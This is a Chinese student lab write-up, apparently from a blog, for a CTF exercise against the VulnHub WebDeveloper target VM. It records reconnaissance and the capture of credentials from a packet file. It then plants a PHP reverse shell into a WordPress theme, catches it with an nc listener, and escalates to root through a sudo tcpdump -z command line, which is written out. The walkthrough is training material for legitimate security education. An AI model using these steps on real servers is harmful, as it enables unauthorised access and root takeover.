代码编织梦想

CTF实践


前言

一、实验目的:

通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。

二、系统环境:

Kali Linux 2、WebDeveloper靶机

靶机来源:Vulnerable By Design ~ VulnHub

三、实验工具:

不限

实验步骤

目的:获取靶机Web Developer 文件/root/flag.txt中flag。

基本思路:本网段IP地址存活扫描(netdiscover);网络扫描(Nmap);浏览HTTP 服务;网站目录枚举(Dirb);发现数据包文件 “cap”;分析 “cap” 文件,找到网站管理后台账号密码;插件利用(有漏洞);利用漏洞获得服务器账号密码;SSH 远程登录服务器;tcpdump另类应用。

实施细节如下

1、发现目标 (netdiscover),找到WebDeveloper的IP地址。截图。

2、 利用NMAP扫描目标主机,发现目标主机端口开放、服务情况,截图并说明目标提供的服务有哪些?(利用第一次实验知识点)

开放了22端口、80端口,分别提供了ssh服务和http服务 

3、若目标主机提供了HTTP服务,尝试利用浏览器访问目标网站。截图。是否有可用信息?

4、利用whatweb探测目标网站使用的CMS模板。截图。分析使用的CMS是什么?

输入指令:

whatweb 靶机IP

得到结果(图片白底部分即使用的CMS):

5、网络搜索wpscan,简要说明其功能

6、使用 Dirb 爆破网站目录。(Dirb 是一个专门用于爆破目录的工具,在 Kali 中默认已经安装,类似工具还有国外的patator,dirsearch,DirBuster, 国内的御剑)截图。找到一个似乎和网络流量有关的目录(路径)。

输入指令:

dirb http://靶机IP :80

 7、浏览器访问该目录(路径),发现一个cap文件。截图。

8、利用Wireshark分析该数据包,分析TCP数据流。找到什么有用的信息?截图。

输入指令抓取特定数据包:

http.request.method==POST

找到了登录网站得账号密码

9、利用上一步得到的信息进入网站后台。截图。(网站管理员账号与操作系统账号是不同概念)

10、利用该CMS存在的(插件Plugin)漏洞。

点击主题目录,发现可以直接上传文件,说明会容易被攻击者随意写入恶意文件上传。

11、利用该插件漏洞提权

选方案1:利用MeterSploit插件+reflex gallery插件漏洞实现。安装reflex gallery插件。利用该插件可能存在的漏洞。(课本知识点)

建立会话后,查看wp-config.php获得账号及口令。(配置文件很重要,各种系统的配置文件)。

获得的账号、口令是用来访问什么目标?注意与第7步描述比较。

可选方案2:上传反弹shell。

php-reverse-shell | pentestmonkey

【目的:PHP网站渗透;实现途径:上传网站后,URL访问(含有)该反弹shell的页面。

功能:该脚本会发起反弹TCP连接到攻击者(脚本中指定攻击者IP地址和端口号)。】

该CMS为PHP开发,可以利用其实现反弹shell。但必须修改初始化IP地址和端口。(指向攻击者)。

 进入后台,找到任意一个PHP页面,然后利用php-reverse-shell.PHP的代码修改该页面的代码:

 修改代码中反弹目标的IP地址及端口(修改为攻击者IP地址及开放的端口号):

攻击者在Kali中利用NC开始监听,攻击者浏览器访问修改的PHP页面。从而得到反弹shell(用户www-data)。建立会话后,查看wp-config.php获得账号及口令。(注意路径)

 

方案3:利用文件管理插件(File manager)漏洞。

安装该插件,直接可以浏览wp-config.php。

以上方案三选一,或找到可以实现的方案,操作步骤截图。

这里选择方案二:

首先网站下载PHP脚本,并修改IP和监听要使用的端口:

然后进入网站后台,将PHP脚本粘贴到404  Template一栏,并点击下方的保存按钮:

输入指令开始监听:

nc -lvp 5000

访问被修改的PHP页面(页面是加载不出来的,回车后就可以不用管了):

wp-content/themes/twentysixteen/404.php

 回车后,已经开始进入监听了:

建立会话后,输入指令查看wp-config.php获得账号及口令:

获得了账号及口令:

12、SSH登录服务器

尝试利用上一步获得的访问数据库的用户名和密码连接远程服务器。截图。

输入指令:

ssh webdevelopero@靶机IP

尝试查看/root/flag.txt

发现无法查看 

13、使用tcpdump执行任意命令(当tcpdump捕获到数据包后会执行指定的命令。)

查看当前身份可执行的命令:

 发现可以root权限执行tcpdump命令

tcpdump命令详解:

-i eth0 从指定网卡捕获数据包

-w /dev/null 将捕获到的数据包输出到空设备(不输出数据包结果)

-z [command] 运行指定的命令

-Z [user] 指定用户执行命令

-G [rotate_seconds] 每rotate_seconds秒一次的频率执行-w指定的转储

-W [num] 指定抓包数量

创建攻击文件

touch /tmp/exploit1

写入shellcode

echo 'cat /root/flag.txt' > /tmp/exploit

赋予可执行权限

chmod +x /tmp/exploit

利用tcpdump执行任意命令

sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/exploit -Z root

获得flag:

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/qq_62623325/article/details/128017029

网络渗透测试实验四 CTF实践-爱代码爱编程

实验目的: 通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。 系统环境:Kali Linux 2、WebDeveloper靶机来源:http

网络渗透测试实验4-爱代码爱编程

实验目的:通过对目标靶机的渗透过程,了解CTF竞赛模式,理解CTF涵盖的知识范围,如MISC、PPC、WEB等,通过实践,加强团队协作能力,掌握初步CTF实战能力及信息收集能力。熟悉网络扫描、探测HTTP web服务、目录枚举、提权、图像信息提取、密码破解等相关工具的使用。 系统环境:Kali Linux 2、WebDeveloper靶机来源:https:

2021-7-20-爱代码爱编程

目录 实验目的:系统环境:Kali Linux 2、Windows网络环境:交换网络结构实验工具:Arpspoof、WireShark、BurpSuite、fcrackzip(用于zip密码破解)。实验原理:网络嗅探网络嗅探概述ARP欺骗密码(口令,Password)安全口令破解方法口令破解方式候选口令产生器口令加密实验步骤和内容:网络嗅探部分:A

一文解读,网络安全行业人才需求情况《网络安全产业人才发展报告》-爱代码爱编程

随着近几天国家网络安全宣传周在全国各地开展活动,网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里,惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何?该怎么提升自我能力,更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。   一、网络安全行业

网络渗透测试实验一-爱代码爱编程

i实验目的: 理解网络扫描、网络侦察的作用;通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎、扫描工具的应用,通过信息收集为下一步渗透工作打下基础。 系统环境:Kali Linux 2、Windows 网络环境:交换网络结构 实验工具: Metasploitable2(需自行下载虚拟机镜像);Nmap(Kali);WinHex、数据恢复软件等 实验步骤:

GUET网络渗透测试实验报告1-爱代码爱编程

1.实验目的 理解网络扫描、网络侦察的作用;通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎、扫描工具的应用,通过信息收集为下一步渗透工作打下基础。 2. 实验内容、原理 3. 实验过程 1、用搜索引擎Google或百度搜索麻省理工学院网站中文件名包含“network security”的pdf文档,截图搜索得到的页面。 Google语法:s

网络安全渗透测试实验一_留将一面与花的博客-爱代码爱编程

1.实验目的和要求 理解网络扫描、网络侦察的作用;通过搭建网络渗透测试平台,了解并熟悉常用搜索引擎、扫描工具的应用,通过信息收集为下一步渗透工作打下基础。 系统环境:Kali Linux 2、Windows 网络环境:交换网络结构 实验工具: Metasploitable2(需自行下载虚拟机镜像);Nmap(Kali);WinHex、数据恢复软件等

还在付费使用 xshell?我选择这款超牛逼的 ssh 客户端,完全免费_写代码的珏秒秒的博客-爱代码爱编程

分享过FinallShell这款SSH客户端,也是xiaoz目前常用的SSH客户端工具,FinalShell使用起来方便顺手,但令我不爽的是tab数量变多的时候FinalShell越来越卡,而且内存占用也比较高。 最近发现一款使用使用C语言开发的跨平台SSH客户端WindTerm,完全免费用于商业和非商业用途,没有限制。 所有发布的源代码(第三方目录除外

linux从入门到精通(十二)——shell编程_小象裤衩的博客-爱代码爱编程

文章篇幅较长,建议先收藏,防止迷路 文章跳转Linux从入门到精通(八)——Linux磁盘管理goLinux从入门到精通(九)——Linux编程goLinux从入门到精通(十)——进程管理goLinux从入门到精通(十一)

ubuntu 20.04.5安装无线网卡rtl8821ce驱动_晨之清风的博客-爱代码爱编程

陈拓 2022/11/26-2022/11/26 准备工作 查看网络设备   WiFi设备未驱动。 查看WiFi设备型号 lspci | grep -i wireless 或 lspci -nn | grep -i net 设备代号10ec:c821可以用来查询验证WiFi设备型号。 在网站PCI devices查询无线设备型号:

ceph对象存储_桂安俊@kylinos的博客-爱代码爱编程

目录 一、环境准备 二、什么是对象存储 三、部署对象存储服务 1、启动RGW服务 2、更改RGW服务端口 3、客户端测试 一、环境准备 Ceph集群搭建参照:Ceph集群部署_桂安俊@kylinOS的博客-CSDN博客 以下Ceph存储实验环境均基于上述Ceph集群环境搭建。 二、什么是对象存储 1、对象存储 也就是键值存

[linux review-爱代码爱编程

Bilibili 视频教程链接:  Linux OS Fundamental __#102 【Shengda's Studio】Linux教程 #102_哔哩哔哩_bilibili 这一篇做一些简单的 hands-on Lab  安装一个 python 3.8  安装一个 web server  web server 起一个 html fil